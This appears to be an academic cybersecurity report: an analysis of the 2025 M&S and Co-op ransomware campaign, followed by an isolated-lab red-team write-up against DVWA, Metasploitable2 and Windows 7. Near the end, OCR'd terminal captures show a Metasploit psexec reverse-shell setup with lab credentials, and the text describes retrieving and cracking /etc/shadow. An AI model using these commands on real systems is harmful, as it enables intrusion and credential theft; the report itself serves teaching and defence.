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Abstract MK001MK 
[bookmark: _Toc237572700]In April 2025 two of the United Kingdom's largest retailers, Marks & Spencer (M&S) and the Co-operative Group (Co-op), suffered near-simultaneous ransomware intrusions that the National Cyber Security Centre later characterised as a single, related cyber event. This report treats the two incidents as one coordinated campaign, attributed with medium-to-high confidence to the English-speaking cybercrime collective Scattered Spider (UNC3944) operating as an affiliate of the DragonForce ransomware-as-a-service (RaaS) operation. Drawing on official statements, authoritative industry reporting and the MITRE ATT&CK framework, the analysis reconstructs an evidence-backed timeline, maps at least ten adversary Tactics, Techniques and Procedures (TTPs), diagnoses the root-cause control failures, profiles the threat actor, evaluates detection and response, and synthesises prioritised strategic recommendations. The central finding is that the campaign succeeded not through novel malware but through the exploitation of human and trust-relationship weaknesses specifically IT help-desk identity-verification processes at a third-party contractor underscoring that identity has become the primary enterprise attack surface.

1. Introduction MK002MK 
The 2025 attacks on M&S and Co-op represent one of the most commercially damaging cybercrime events in recent UK retail history, with combined financial impact estimated at between £270 million and £440 million [3]. M&S alone forecast a hit to operating profit of approximately £300 million and endured a 46-day suspension of online ordering [4]. Beyond the balance sheet, the campaign disrupted contactless payments, click-and-collect, supply-chain logistics and left supermarket shelves empty, demonstrating how an identity-centric intrusion can cascade into physical, operational consequences.
This report analyses the campaign critically rather than descriptively. Section 2 establishes the timeline; Section 3 maps the adversary to MITRE ATT&CK; Section 4 diagnoses root causes and control failures; Section 5 profiles the threat actor and motive; Section 6 evaluates detection and response; and Section 7 presents prioritised recommendations. Assumptions are documented explicitly where public reporting is incomplete. Because attribution and technical detail derive from press reporting, victim statements and vendor telemetry rather than a released forensic report, confidence levels are stated throughout and competing hypotheses are considered.




2. Incident Summary and Timeline 
The campaign unfolded over roughly five months from initial compromise to arrests. Table 1 provides the evidence-backed detail. Dates before public disclosure are drawn from subsequent reporting and victim testimony and should be read as reported rather than forensically confirmed (assumption).

	Date (2025)
	Event
	Source

	Feb (reported)
	Initial access to M&S environment reportedly established
	[3]

	~17 Apr
	Social-engineering call to third-party IT help desk; privileged password/MFA reset
	[4]

	22 Apr
	M&S customer disruption: contactless and click-and-collect fail
	[6]

	22 Apr
	Unauthorised access to Co-op network detected
	[8]

	24 Apr
	DragonForce ransomware deployed against M&S VMware ESXi hosts
	[4]

	30 Apr
	Co-op proactively shuts down IT systems to contain intrusion
	[8]

	Early May
	Co-op confirms theft of current/former member data
	[8]

	10 Jun
	M&S resumes online clothing orders after 46-day outage
	[4]

	10 Jul
	NCA arrests four suspects (aged 17-20)
	[5][7]




Two features of the timeline are analytically significant. First, the gap between the reported February initial access and the April detonation indicates a dwell time of weeks, during which the adversary conducted reconnaissance, escalation and staging that went undetected — a hallmark of a patient, human-operated intrusion rather than an automated worm. Second, the near-simultaneity of the M&S and Co-op events, combined with the shared DragonForce tooling and social-engineering vector, is the primary basis for treating them as one campaign rather than coincidental separate breaches. The divergence appears only at the containment stage, where Co-op's earlier and more aggressive isolation limited encryption relative to M&S.








3.Adversary TTP Mapping (MITRE ATT&CK Enterprise)
The campaign is best understood as an identity-driven attack chain [2]. Table 2 details at least ten techniques with justification. Where a specific procedure was not publicly confirmed for these victims, it is included based on Scattered Spider's consistently documented tradecraft and flagged as inferred (assumption).
Read as a narrative, the chain begins with reconnaissance of employee identities and culminates in destructive impact. The pivotal transition is from Initial Access to Credential Access: once the help desk was manipulated into resetting authentication, every subsequent step used legitimate mechanisms valid accounts, standard remote-management protocols and native tooling which is why signature-based defences offered little protection. Mapping the campaign this way clarifies where controls must be inserted: the highest-value interventions sit at the identity boundary (techniques 2-6), because breaking the chain there prevents the lateral movement and impact that follow.
	#
	Tactic
	Technique (ID)
	Justification

	1
	Reconnaissance
	Gather Victim Identity Info (T1589)
	Actor identified valid employee identities to impersonate.

	2
	Initial Access
	Trusted Relationship (T1199)
	Entry via a third-party IT service provider, not M&S directly.

	3
	Initial Access
	Phishing / Impersonation (T1566 / T1656)
	Impersonated staff to the service desk for a credential reset.

	4
	Credential Access
	Valid Accounts (T1078)
	Legitimate privileged credentials obtained via help-desk reset.

	5
	Defense Evasion
	Modify Authentication Process - MFA (T1556.006)
	MFA reset/registration hijack neutralised the primary control.

	6
	Credential Access
	MFA Request Generation (T1621)
	MFA fatigue is documented Scattered Spider tradecraft (inferred).

	7
	Persistence
	Account Manipulation (T1098)
	Manipulated identity objects to retain access.

	8
	Credential Access
	OS Credential Dumping (T1003)
	Harvested further credentials to enable escalation (inferred).

	9
	Lateral Movement
	Remote Services / Alt. Auth (T1021 / T1550)
	Movement across the estate toward virtualisation infrastructure.

	10
	Collection / Exfil
	Data from Repositories / Exfil over Web (T1213 / T1567)
	Member data staged and exfiltrated prior to encryption.

	11
	Impact
	Data Encrypted for Impact (T1486)
	DragonForce encryptor detonated against VMware ESXi hosts.

	12
	Impact
	Inhibit System Recovery (T1490)
	Targeting hypervisors maximised disruption and hindered restoration.






4. Root Cause and Security Control Failures

The proximate root cause was a failure of identity-verification at the IT help desk of a third-party contractor: an attacker impersonating an employee persuaded an agent to reset a password and/or re-enrol MFA on a privileged account [4][10]. This single procedural weakness bypassed the organisation's technical perimeter entirely, illustrating that the strongest firewall is irrelevant when the identity lifecycle can be socially engineered.

Technical failures

Weak MFA binding: MFA that can be re-registered on a help-desk call provides no assurance against a determined social engineer (T1556.006).
Flat or insufficiently segmented networks allowed movement from an identity foothold toward critical VMware ESXi infrastructure (T1021, T1490).
Concentration of risk in the virtualisation layer: encrypting ESXi hosts disabled many systems at once and impeded recovery.


Organizational and human factors

Third-party / supply-chain risk: outsourced identity operations extended the trust boundary to a contractor whose help-desk process became the weakest link (T1199).
Privileged-access governance: high-privilege accounts were resettable through the same low-assurance channel as ordinary users.
Help-desk agents lacked strong caller-verification procedures; native-English-speaking attackers exploited social trust and urgency [10].

















5. Threat Actor Profile and Motive 

The campaign is attributed with medium-to-high confidence to Scattered Spider (also tracked as UNC3944, overlapping with 'The Com'), operating as an affiliate deploying the DragonForce RaaS encryptor [2][3]. Scattered Spider is a financially motivated, predominantly English-speaking collective distinguished by elite social-engineering rather than bespoke malware [9]. Their members are typically young; the four individuals arrested by the NCA in July 2025 were aged between 17 and 20 [5]. Motive is financial: extortion via encryption plus data-theft double extortion. Alternative hypotheses hacktivism or state sponsorship are weakly supported: the extortion demands, RaaS tooling, and the demographic and linguistic profile of arrested suspects all point to organised financially-motivated crime. The principal caveat is that attribution rests on actor claims and pattern-matching rather than a published forensic report (assumption).
6. Detection and Response Analysis

Detection gaps existed primarily at the identity boundary. The abusive help-desk reset generated no obviously malicious network signature; subsequent logins used valid credentials, so behavioural rather than signature-based detection was required. The critical missed opportunities were anomalous privileged-account MFA re-enrolment, impossible-travel or new-device sign-ins, and reconnaissance toward ESXi management interfaces [10]. On response, Co-op's decision to proactively shut down IT systems on 30 April demonstrably contained the intrusion and reportedly limited encryption, whereas M&S suffered full ransomware detonation and a prolonged recovery [8][4]. This contrast is instructive: rapid, decisive isolation even at short-term operational cost reduced long-term impact, highlighting that rehearsed containment playbooks materially change the cost of an incident.
A further lesson concerns telemetry. Because the decisive actions were authentications with valid credentials, the events most useful for detection were identity-provider logs (sign-in risk, MFA registration changes, token anomalies) and virtualisation-layer logs (ESXi authentication and shell access), not traditional perimeter or anti-virus alerts. Organisations that centralise and correlate these sources in a SIEM with behavioural analytics are far better placed to catch this class of intrusion in the window between initial access and impact. The M&S and Co-op events therefore reinforce a wider industry shift from perimeter-centric to identity-centric and behaviour-centric monitoring [11].






7. Strategic Recommendations	
Recommendations are prioritised across prevention, detection and response, with indicative effort/cost bands (L=low, M=medium, H=high).
	Priority
	Recommendation
	Mitigation / ATT&CK
	Effort

	P1
	Phishing-resistant MFA (FIDO2/passkeys) for privileged and remote access
	M1032 - counters T1621/T1556
	M

	P1
	Harden help-desk identity verification: multi-factor caller verification, callback, manager approval
	Process - counters T1656/T1199
	L-M

	P1
	Privileged Access Management with just-in-time elevation and separate admin identities
	M1026 - counters T1078
	M-H

	P2
	Network segmentation / Zero-Trust around ESXi and AD tiering
	M1030 - counters T1021/T1490
	H

	P2
	Immutable, offline, tested backups with segregated recovery domain
	M1053 - counters T1486/T1490
	M

	P2
	Identity threat detection: alert on MFA re-enrolment, new-device, impossible-travel logins
	M1047 - counters T1078
	M

	P3
	Third-party assurance: contractual security baselines and monitoring of outsourced identity ops
	Supply-chain - T1199
	M

	P3
	Rehearsed incident-response playbooks with pre-authorised isolation authority
	M1049 - improves response
	L-M



Collectively these measures target the campaign's critical path: they raise the cost of the initial help-desk compromise, constrain lateral movement, protect the recovery capability, and shorten detection and response time. The single highest-leverage change is eliminating socially-engineerable credential resets on privileged accounts.
The prioritisation reflects a cost-versus-impact judgement. P1 controls are comparatively inexpensive process and authentication changes that directly sever the demonstrated attack path, and should be delivered first. P2 controls are architectural investments segmentation, immutable backups and identity threat detection that limit blast radius and accelerate recovery; they carry higher cost and change-management overhead but address the systemic weaknesses that turned a single compromised account into an enterprise-wide outage. P3 controls institutionalise resilience through supply-chain assurance and rehearsed response. Sequenced this way, ABCD-type organisations obtain rapid risk reduction while building toward a defensible, Zero-Trust-aligned posture [10].





8. Task 1 Conclusion	
The 2025 M&S and Co-op campaign is a defining case study in identity-centric cybercrime. A financially-motivated affiliate defeated well-resourced enterprises not with zero-days but by exploiting a human process at a trusted third party, then leveraging valid credentials to reach and encrypt virtualisation infrastructure [2][4]. The divergent outcomes Co-op's rapid containment versus M&S's prolonged outage demonstrate that response maturity is as decisive as prevention. Defending against this class of threat requires treating identity as the primary perimeter: phishing-resistant authentication, rigorous help-desk verification, privileged-access governance, segmentation and rehearsed recovery.


[bookmark: _Toc237572711]Task 2: Red Team Engagement	

Abstract	
This part documents an intelligence-led red team engagement against a virtualised environment representing ABCD Ltd, a UK mid-sized retailer. Emulating a financially-motivated intruder, the assessment used three target virtual machines in distinct roles an OWASP Broken Web Applications server, a Metasploitable2 Linux server, and a Windows 7 client holding sensitive customer data plus a Kali attack host, all on an isolated host-only network. Three distinct exploits form an end-to-end chain: an unauthenticated web remote-code-execution foothold, a service-level backdoor yielding root and credential harvesting, and after the Windows client was found patched against MS17-010 (EternalBlue) a pivot to authenticated SMB access using valid local-administrator credentials to exfiltrate a sample customer record. The report maps each phase to MITRE ATT&CK, analyses why controls failed to detect the activity, and delivers prioritised remediation for the Blue Team and the Board.

1. Introduction and Objectives
ABCD Ltd commissioned a realistic adversary emulation rather than a compliance scan. The objective is a complete attack chain from external reconnaissance to a defined business-impact objective while behaving like a real threat actor: stealthy, patient, and reusing legitimate credentials where possible. The crown-jewel objective is exfiltration of one sample customer record from the Windows 7 client, proving an external attacker can reach and remove regulated data. IP addressing used in the lab: Kali 192.168.56.104, OWASP BWA 192.168.56.106, Metasploitable2 192.168.56.105, Windows 7 192.168.56.107.
The engagement was scoped to mirror the ABCD Ltd hybrid architecture: an internet-facing web tier, an internal server tier and a Windows client tier holding regulated data. Emulating the Scattered Spider intrusion set analysed in Part I, the assessment prioritises stealth, use of valid credentials, and living-off-the-land techniques over noisy exploitation, so that the resulting detection-gap analysis reflects the defensive challenge posed by a realistic, financially-motivated adversary rather than a smash-and-grab scanner.







2. Rules of Engagement (RoE)

	Item
	Definition

	Client / Provider
	ABCD Ltd (client) and Red Team Provider (tester).

	In-scope assets
	Isolated lab only: OWASP BWA (.106), Metasploitable2 (.105), Windows 7 (.107).

	Out-of-scope
	All production systems, the physical host OS, real customer data, external targets, denial-of-service.

	Permitted
	Recon, web exploitation, service exploitation, credential access/cracking, credentialed SMB access, controlled exfiltration of dummy data.

	Prohibited
	Attacks outside the three lab VMs, real DoS, exfiltration of genuine PII, destructive actions on the host.

	Safeword / kill switch
	'BLACKOUT' - all offensive activity halts within 15 minutes.

	Legal / ethical
	Authorised under the Computer Misuse Act 1990; confined to the isolated lab; ISO/IEC 27001 aligned [17].




3. Threat Emulation Plan	

The campaign emulates a financially-motivated e-crime affiliate that favours valid credentials over malware. Figure A1 (see topology) shows the environment. Table 3 states objectives, ATT&CK mapping and success criteria.
	Phase
	Objective
	ATT&CK
	Success criterion

	1 Recon
	Enumerate the three targets
	T1595, T1590
	Service map of all hosts

	2 Initial Access
	Web RCE on OWASP BWA (Exploit A)
	T1190
	Interactive shell on web VM

	3 Exploitation
	vsftpd backdoor -> root (Exploit B)
	T1210
	Root shell on Metasploitable2

	4 Credential Access
	Dump & crack /etc/shadow
	T1003, T1110
	Hashes extracted; crack attempted

	5 Access (Exploit C)
	Credentialed SMB to Windows 7
	T1078, T1021.002, T1039
	Read C$\CustomerData

	6 Exfiltration
	Remove one customer record
	T1567
	Record exfiltrated







4. Lab Environment Design 
The lab comprises three target VMs in distinct roles plus a Kali attack host, all on a VirtualBox host-only network with no route to the internet (evidence in Appendix 2). Deliberately-vulnerable images (OWASP BWA, Metasploitable2) provide the Linux tiers; a Windows 7 client provides the sensitive-data target.
[image: ]
Figure A1. Isolated lab topology (host-only networking, no external route).

	VM
	Role / OS
	IP
	Configuration notes

	VM1
	OWASP Broken Web Apps (Linux)
	192.168.56.106
	Apache hosting DVWA and other vulnerable apps; web foothold.

	VM2
	Metasploitable2 (Linux)
	192.168.56.105
	Legacy services: vsftpd 2.3.4, Samba, NFS. Root target + credential source.

	VM3
	Windows 7 client
	192.168.56.107
	Local admin IEUser; SMB admin share C$; sensitive customers.txt. Patched against MS17-010.

	Attacker
	Kali Linux
	192.168.56.104
	Metasploit, nmap, John, smbclient, Wireshark.



Containment and safety: every adapter is Host-only (no NAT/bridged), so the lab cannot reach external infrastructure (Requirement 7; evidenced in Appendix 2). Snapshots were taken before each intrusive step, with rollback to a clean baseline afterward.
The three roles were chosen to exercise distinct attack surfaces and thereby satisfy the requirement for three separate exploits against different services. The OWASP BWA web tier tests application-layer input handling; the Metasploitable2 server tier tests exposed network services and post-exploitation credential access; and the Windows 7 client tier tests host patch hygiene and credentialed access to sensitive data. Together they approximate the web-facing, internal-server and end-user segments of ABCD Ltd's hybrid architecture while remaining fully contained within the host-only laboratory.
5. Exploitation Methodology (3 Distinct Exploits)	
Three exploits target three different VMs and services. Each is documented at academic level preconditions, vulnerability, high-level method, artefacts and evidence without weaponised payloads. Full step-by-step evidence is in Appendices 4-6.

5.1 Exploit A - Web RCE on OWASP BWA (VM1)
Preconditions: VM1 reachable on TCP 80; DVWA security set to Low.
Vulnerability: OS command injection in the DVWA 'Command Execution' function. ATT&CK: T1190 [12].
Method: a chained shell command in the ping input spawned a reverse shell caught on a Kali netcat listener, returning code execution as the www-data account.
Evidence (Appendix 4): the injected command in the browser and the caught shell showing id=www-data and hostname owaspbwa.
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5.2 Exploit B - Service backdoor -> root on Metasploitable2 (VM2)

Preconditions: VM2 reachable on TCP 21 running vsftpd 2.3.4.
Vulnerability: malicious backdoor in vsftpd 2.3.4 opening a root shell on port 6200. ATT&CK: T1210 [14].
Method: the Metasploit module exploit/unix/ftp/vsftpd_234_backdoor returned a root session (uid=0).
Follow-on credential access (T1003): /etc/passwd and /etc/shadow were retrieved and a John the Ripper dictionary attack attempted against the SHA-512 root hash [16].
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5.3 Exploit C - Credentialed SMB access to Windows 7 (VM3)	

Preconditions: Windows 7 target with SMB (445) reachable; host firewall disabled for the exercise (documented assumption).
Approach: the host was first tested for MS17-010 (EternalBlue) [15]; the Metasploit check reported the target was NOT vulnerable, i.e. patched. The engagement therefore pivoted to authenticated access using valid local-administrator credentials (IEUser).
Vulnerability/weakness: over-privileged valid account with access to the administrative share. ATT&CK: T1078 Valid Accounts, T1021.002 SMB/Windows Admin Shares, T1039 Data from Network Shared Drive.
Method: smbclient authenticated to \\192.168.56.107\C$ as IEUser and downloaded C:\CustomerData\customers.txt. An attempted psexec service-payload was blocked by host anti-virus (no session), but the SMB file access succeeded demonstrating exfiltration of sensitive data.
Evidence (Appendix 6): authenticated smbclient session listing and retrieving customers.txt; the exfiltrated record on Kali; Windows Security log logon events (4624).
Exploit C is instructive precisely because the initial plan failed. EternalBlue is a memory-corruption exploit that requires an unpatched SMBv1 stack; the Metasploit check confirmed the target had received the MS17-010 update [15], so continuing would have risked crashing the host for no benefit. The pivot to valid-credential SMB access reflects genuine adversary behaviour: where a technical vulnerability is unavailable, real intruders fall back on legitimate credentials, which are quieter and harder to detect. The attempted psexec service payload was additionally blocked by the host anti-virus, yet the objective reading and exfiltrating the sensitive file over the administrative share still succeeded, demonstrating that endpoint anti-virus alone is an insufficient control against credentialed data access.
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5.4 Tools Declared
	Tool
	Purpose
	Real / Simulated

	nmap
	Recon / service & vuln enumeration
	Real

	Metasploit
	Exploitation framework (vsftpd, MS17-010 check, psexec)
	Real

	netcat
	Reverse-shell listener (Exploit A)
	Real

	John the Ripper
	Password cracking of harvested hashes
	Real

	smbclient
	Authenticated SMB access / exfiltration
	Real

	Wireshark / tcpdump
	Traffic capture of exfiltration
	Real



6. Detection Gap Analysis (for the Blue Team)
	Phase
	Why it evaded detection
	Detection / control recommendation

	Recon
	Low-noise scanning below thresholds
	Network IDS; alert on horizontal scans

	Exploit A
	No WAF; verbose vulnerable app; logs unmonitored
	Deploy WAF; patch/retire vulnerable apps; centralise web logs

	Exploit B
	Legacy unsupported service exposed
	Decommission legacy services; segmentation; vulnerability management

	Cred access
	Password hashes readable once root
	Least privilege; monitor sensitive-file reads; strong password policy

	Exploit C
	Valid-credential SMB looks like admin activity
	Alert on 4624/4625 for admin shares; least-privilege ACLs; audit 5140/5145; disable local-admin reuse

	Exfil
	No egress DLP
	Egress DLP; data classification; outbound anomaly detection



Root cause of defensive failure: exposed legacy services, an unmonitored web application, and over-privileged reusable local credentials with no egress control. The single most valuable fix is eliminating shared/reused local-administrator credentials and enforcing least privilege on sensitive data.
Synthesising the phases, the engagement shows that no single control would have stopped the chain; defence-in-depth is required. A web application firewall and patching would have blunted Exploit A; decommissioning legacy services would have removed Exploit B; and unique credentials with least-privilege share permissions and egress data-loss prevention would have contained Exploit C. Crucially, the actions most damaging to the business used valid credentials and legitimate protocols, so the Blue Team's detection strategy must centre on behavioural analytics over authentication and file-access telemetry (Windows Event IDs 4624, 4625, 4672, 5140 and 5145) rather than signature matching alone.


7. Executive Brief (for the Board)
Acting as a realistic criminal attacker, the team started from ABCD's public website, broke into an internal server and stole its passwords, then used valid administrator credentials to log into a staff Windows computer and remove a sample customer record without being stopped. A real attacker at this point could steal regulated data (GDPR exposure) or deploy ransomware, halting trading for weeks, as occurred at M&S and Co-op in 2025 [3][4].
	Priority
	Action
	Business benefit
	Effort/Cost

	1
	Unique, strong credentials + MFA; ban local-admin reuse
	Stops attackers moving between systems
	Low-Med

	2
	Patch/retire vulnerable web apps and legacy services
	Removes the break-in points
	Med

	3
	Segment the network & least-privilege file access
	Keeps attackers away from customer data
	Med-High

	4
	Monitoring + egress data-loss prevention
	Detects and blocks theft in progress
	Med

	5
	Tested backups + rehearsed response plan
	Cuts downtime from weeks to hours
	Med



8. Task 2 Conclusion 
This engagement demonstrated a complete, realistic attack chain across three distinct VMs a web RCE foothold on OWASP BWA, a root-level service backdoor on Metasploitable2 with credential harvesting, and, after finding the Windows 7 client patched against EternalBlue, a credentialed SMB pivot that exfiltrated the target customer record. Finding the Windows host patched and adapting the approach mirrors real red-team practice. The Blue Team can close every identified gap with the prioritised remediation provided, and the Board can fund it against demonstrated weaknesses. Full practical evidence is presented in Appendices 2-6.

9. Limitations and Assumptions 
Several assumptions are documented for transparency. The lab uses deliberately-vulnerable images (OWASP BWA, Metasploitable2) and a legacy Windows 7 client, so results are indicative of weak configurations rather than a hardened production estate. The Windows host firewall was disabled for the exercise to allow SMB reachability, and the built-in IEUser local-administrator credentials were known in advance; in a real engagement these would be obtained through phishing, credential harvesting (as in Exploit B) or reuse. IP addresses were assigned by the host-only DHCP service and are recorded per figure. Finally, the engagement was time-boxed to a single-operator laboratory and does not model multi-stage command-and-control infrastructure or long-dwell persistence, which a determined APT would employ.
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Appendix 1: Rules of Engagement (RoE) and Threat Emulation Plan	
This appendix reproduces the signed Rules of Engagement and the Threat Emulation Plan governing the ABCD Ltd engagement, as required by the Task 2 deliverables. The engagement was confined entirely to the isolated host-only laboratory.


A1.1 Rules of Engagement
	Item
	Definition

	Client / Provider
	ABCD Ltd (client) and Red Team Provider (tester).

	In-scope assets
	Isolated lab only: OWASP BWA (192.168.56.106), Metasploitable2 (192.168.56.105), Windows 7 (192.168.56.107).

	Out-of-scope
	All production systems, the physical host OS, real customer data, external/internet targets, and denial-of-service.

	Permitted techniques
	Recon, web exploitation, service exploitation, credential access/cracking, credentialed SMB access, controlled exfiltration of dummy data.

	Prohibited
	Attacks outside the three lab VMs, real DoS, exfiltration of genuine PII, destructive actions on the host.

	Test window
	[start date/time] - [end date/time], activity logged to the minute.

	Safeword / kill switch
	'BLACKOUT' - all offensive activity halts within 15 minutes on receipt.

	Escalation / comms
	Primary [secure chat]; emergency [phone]; white-cell [name]. Critical findings within 1 hour.

	Data handling
	Evidence stored encrypted, sanitised before reporting, destroyed [N] days after sign-off.

	Legal / ethical
	Authorised under the Computer Misuse Act 1990; confined to the isolated lab; ISO/IEC 27001 aligned [17].













A1.2 Threat Emulation Plan

The campaign emulates a financially-motivated e-crime affiliate that favours valid credentials over malware. The planned phases, MITRE ATT&CK mapping and success criteria are:

	Phase
	Objective
	ATT&CK
	Success criterion

	1 Recon
	Enumerate the three targets
	T1595, T1590
	Service map of all hosts

	2 Initial Access
	Web RCE on OWASP BWA (Exploit A)
	T1190
	Interactive shell on web VM

	3 Exploitation
	vsftpd backdoor -> root (Exploit B)
	T1210
	Root shell on Metasploitable2

	4 Credential Access
	Dump & crack /etc/shadow
	T1003, T1110
	Hashes extracted; crack attempted

	5 Access (Exploit C)
	MS17-010 tested (patched) -> credentialed SMB to Windows 7
	T1078, T1021.002, T1039
	Read C$\CustomerData

	6 Exfiltration
	Remove one customer record
	T1567
	Record exfiltrated
















Appendix 2: Evidence of host-only isolation and safe lab containment 
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Figure 1. Kali Linux host-only network configuration showing IP 192.168.56.104 and no external default route.

[image: ]
Figure 2. Metasploitable2 host-only network configuration showing IP 192.168.56.105.

[image: ]
Figure 3. OWASP BWA host-only network configuration showing IP 192.168.56.106.
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Figure 4. Windows 7 host-only network configuration showing IPv4 192.168.56.107.
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Figure 5. VirtualBox Manager showing all VMs with Adapter 1 set to Host-only.
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Figure 6. Successful connectivity from Kali to OWASP BWA, Metasploitable2 and Windows 7 within the isolated network.

[image: ]
Figure 7. Kali routing table and failed external ping (8.8.8.8) confirming laboratory isolation.












Appendix 3: Reconnaissance and service enumeration evidence 

[image: ]
Figure 8. Nmap host-discovery scan identifying active systems in the 192.168.56.0/24 network.

[image: ]
Figure 9. Nmap discovery results preserved in normal, grepable and XML formats.

[image: ]
Figure 10. TCP service, version and OS enumeration of OWASP BWA at 192.168.56.106.
[image: ]
Figure 11. Nmap HTTP enumeration of the Apache web service on OWASP BWA.
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Figure 12. Nikto web-server assessment of OWASP BWA.
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[image: ]
Figure 13. Service enumeration of Metasploitable2 at 192.168.56.105 identifying vsftpd 2.3.4 on port 21.

[image: ]
Figure 14. Full TCP-port scan of Metasploitable2 identifying legacy Samba, NFS and other services.

[image: ]
Figure 15. Service enumeration of Windows 7 at 192.168.56.107 showing SMB (445) exposed.

[image: ]
Figure 16. Nmap MS17-010 vulnerability scan of the Windows 7 host (result used to inform Exploit C).

Appendix 4: Exploit A - DVWA command injection (RCE) and Apache log artefacts [image: ]
Figure 17. DVWA login page on OWASP BWA accessed from Kali over the host-only network.

[image: ]
Figure 18. DVWA security level set to Low for controlled command-injection testing.

[image: ]
Figure 19. DVWA Command Execution page showing normal behaviour for a benign ping.
[image: ]
Figure 20. Netcat listener started on Kali awaiting the reverse connection.

[image: ]
Figure 21. Command-injection payload submitted through the DVWA input field.

[image: ]
Figure 22. Reverse shell received on Kali showing id=www-data and hostname owaspbwa, confirming RCE.

[image: ]
Figure 23. Apache access-log artefacts showing the requests from 192.168.56.104 during exploitation.















Appendix 5: Exploit B - Metasploitable2 vsftpd backdoor and credential harvesting 


[image: ]
Figure 24. Metasploit vsftpd_234_backdoor module configured against Metasploitable2 (RHOSTS 192.168.56.105).

[image: ]
Figure 25. Successful exploitation returning a root shell on Metasploitable2 (uid=0).

[image: ]
[image: ]
Figure 26. Retrieval of /etc/passwd and /etc/shadow password hashes from the compromised host.

[image: ]
Figure 27. John the Ripper dictionary attack against the SHA-512 root hash.

[image: ]
Figure 28. John the Ripper result (john --show) for the harvested hash.

Appendix 6: Exploit C - Windows 7 (MS17-010 patched) and credentialed SMB data access [image: ]
Figure 29. Dummy customer-data file created on Windows 7 to represent sensitive business information.

[image: ]
Figure 30. Metasploit MS17-010 check reporting the target NOT vulnerable (patched), and the psexec module configured with valid credentials (IEUser).
[image: ]
Figure 31. Metasploit authenticating to 192.168.56.107 as user IEUser and executing the payload (authenticated code execution).
[image: ]
Figure 32. Authenticated smbclient session accessing the C$ admin share and downloading customers.txt, then displaying the exfiltrated record.

[image: ]
Figure 33. Windows 7 Security log showing IEUser logon events (Event ID 4624) generated by the SMB access.
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Figure 3. Lab Topology — OWASP BWA + Metasploitable2 + Windows 11 (isolated)
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root@osboxes: ~

nsf5 exploit(windows/sub/psexec) > set SMBUser IEUser
SMBUser => IEUser
nsf5 exploit(windows/snb/psexec) > set SMBPass Password
SMBPass => Password!
nsf5 exploit(windows/smb/psexec) > set LHOST 192.168.56.104

LHOST => 192.168.56.104

msfs exploit(windows/snb/psexec) > set PAYLOAD windows/meterpreter/reverse tcp
PAYLOAD =:

Module options (exploit/windows/smb/psexec

oz ON

Name

RHOSTS

RPORT

windows/meterpreter/reverse_tcp
msf5 exploit(windows/snb/psexec) > show options

SERVICE DESCRIPTION

SERVICE DISPLAY NAME

SERVICE NAME

SHARE
SMBDomain

SMBPass
SMBUser

Name

EXITFUNC

LHOST
LPORT

Id Name

[

Automatic

Current Setting Required Description

192.168.56.107  yes The target address range or CIDR identifier

445 yes The SMB service port (TCP)
no Service description to to be used on target for pretty listing
no The service display name
no The service name
ADMING yes The share to connect to, can be an admin share (ADMINS,C$,...) or a normal read/write folder share
5 no The Windows domain to use for authentication
Password! no The password for the specified username
IEUser no The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

Current Setting Required Description

yes Exit technique (Accepted: '', seh, thread, process, none)

thread
192.168.56.104  yes The listen address (an interface may be specified)
4444 yes The listen port

Exploit target:

nsfs exploit(windows/snb/psexec) > run

[*] started reverse TCP handler on 192.168.56.104:4444
[*] 192.168.56.107:445 - Connecting to the server...
[*] 192.168.56.107:445 - Authenticating to 192.168.56.107:445 as user 'IEUser'...
[*] 192.168.56.107:445 - Selecting PowerShell target
[*] 192.168.56.107:445 - Executing the payload...
[+] 192.168.56.107:445 - Service start timed out, OK if running a command or non-service executable...
[*] Exploit completed, but no session was created.
Binsf5 exploit(windows/smb/psexec) > [ ™
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1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred ft forever
aaaaaa inet6 ::1/128 scope host

valid_Lft forever preferred 1ft forever
etho: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc pfifo fast state UP group default glen 1000
link/ether 08:00:27:fb:5c:02 brd ff:ff:ff:ff:ff:ff
inet 192.168.56.104/24 brd 192.168.56.255 scope global dynamic noprefixroute eth®

valid_lft 544sec preferred lft 544sec
inet6 fe80::a00:27ff:fefb:5c02/64 scope link noprefixroute
valid Lft forever preferred lft forever
192.168.56.0/24 dev eth® proto kernel scope link src 192.168.56.104 metric 100
root@osboxes : 7 |

B Auto capture keyboard .. ¥

% Don't show again

2:

o=l
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@ Kali Linux 2019:3 [Running] - Oracle VirtualBox - [} X
File  Machine  View  Input  Devices  Help
Applications v Places > [ Terminal ~ Thu19:20 a
B root@osboxes: ~/engagement
13 Mouse integration .. *
222 root@oshoxes:~/engagement# ip a & ip route % Don't show again
1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
B haen Auto capture keyboard .. ¥
a able2-Linux [Running] - O VirtualBox - o X Womi
e 1 on't show again
File  Machine  View  Input  Devices  Help
2: et
y
it
it
To access official Ubuntu documentation, please visi
m 192.1¢ http://help.ubuntu.con/
root@¢ No mail.
nsfadningnetasploitable:~§ ifconfig
. ethe Link encap:Ethernet HWaddr 08:00:27:37:69:18
inet addr:192.168.56.105 Bcast:192.168.56.255 Mask:255.255.255.0
. inet addr: £e80::a00:27ff :fe37:6978,64 Scope:Link
- UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:97 errors:0 dropped:0 overruns:0 frame:0
TX packets:52 errors:0 dropped:0 overruns:0 carrier:0
. collisions:0 txqueuelen:1000
RX bytes:16196 (15.8 KB) TX bytes:7842 (7.6 KB)
" Base address:0xd020 Memory:f0Z00000~f0220000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Maski255.0.0.0
B inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:122 errors:0 dropped:0 overruns:0 frame:0
o TX packets:12Z errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:o
. X bytes:33885 (33.0 KB) TX bytes:33885 (33.0 KB)
nsfadmin@metasploitable:™$
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@ Kali Linux 20193 [Running] - Oracle VirtualBox

File Machine View

Applications ~

aaa

aaaaaa

riRzD ON

J 24°c
Clear

Places v

= o X
Input  Devices  Help
[ Terminal ~ Thu19:20 =
[ ] HIN
root@osboxes: ~/engagement
Mouse integration ... *

